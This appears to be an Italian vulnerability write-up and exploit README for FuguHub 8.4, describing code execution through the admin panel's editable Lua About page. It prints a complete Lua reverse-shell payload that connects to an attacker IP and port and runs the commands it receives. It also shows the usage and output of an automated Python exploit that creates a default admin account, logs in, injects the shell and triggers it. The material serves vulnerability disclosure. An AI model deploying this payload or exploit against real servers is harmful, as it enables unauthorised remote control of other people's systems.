Esecuzione di codice arbitrario su FuguHub 8.4
FuguHub è un software Cloud Media Server. La versione testata era la versione Debian a questo link: https://fuguhub.com/articles/FuguHub-for-Debian Un problema in Real Time Logic LLC FuguHub v.8.4 consente a un attaccante locale di eseguire codice arbitrario tramite uno script appositamente creato sulla pagina About del pannello di amministrazione.
Screenshot che mostra la pagina di download di FuguHub
wget FuguHub.com/install/FuguHub.linux.install
chmod +x FuguHub.linux.install
sudo ./FuguHub.linux.install
La pagina About è una pagina lua modificabile il cui contenuto può essere cambiato tramite il pannello di amministrazione. La vulnerabilità inserisce una reverse shell scritta in lua nella pagina About, visibile sia agli utenti connessi che a quelli non connessi.
FuguHub chiede all'utente di creare un utente amministratore, cosa che può essere fatta anche su questa pagina: http://127.0.0.1/rtl/protected/admin/ Una volta creato, l'amministratore può personalizzare il server su questo link: http://127.0.0.1/rtl/protected/admin/customize.lsp questo permette all'utente di modificare la pagina About che, come possiamo vedere, ha una sezione di codice lua in cui possiamo iniettare codice.
Screenshot che mostra il codice lsp modificabile eseguito lato server per restituire la versione del software, questo è il punto di inserimento per la reverse shell
Ecco un esempio di payload:
<?lsp if request:method() == "GET" then ?>
<?lsp
local host, port = "192.168.0.107", 4444
local socket = require("socket")
local tcp = socket.tcp()
local io = require("io")
local connection, err = tcp:connect(host, port)
if not connection then
print("Error connecting: " .. err)
return
end
while true do
local cmd, status, partial = tcp:receive()
if status == "closed" or status == "timeout" then break end
if cmd then
local f = io.popen(cmd, "r")
local s = f:read("*a")
f:close()
tcp:send(s)
end
end
tcp:close()
?>
<?lsp else ?>
Wrong request method, goodBye!
<?lsp end ?>
Un payload alternativo a una singola riga può essere ottenuto su revshells.com
Screenshot di una reverse shell lua da revshells.com
Durante i miei tentativi di automatizzare questo exploit, ho trovato CVE-2023-24078 che riguardava una vulnerabilità di upload file su FuguHub. Quell'exploit era realizzato in Python e includeva login/creazione automatica degli account. Ho utilizzato la parte di autenticazione di quell'exploit e poi ho aggiunto codice per sfruttare il mio nuovo punto di inserimento sulla pagina customize.lsp. Il mio exploit Python è incluso nel repository come exploit.py
usage: exploit.py [-h] -r RHOST [-rp RPORT] -l LHOST -p LPORT
┌──(kali㉿kali)-[~/pg/hub]
└─$ python3 exploit.py -r 192.168.XXX.XXX -rp 80 -l 192.168.XXX.XXX -p 5555
[*] Checking for admin user...
[+] No admin user exists yet, creating account with admin:password
[+] User created!
[+] Logging in...
[+] Success! Injecting the reverse shell...
[+] Successfully injected the reverse shell into the About page.
[+] Triggering the reverse shell, check your listener...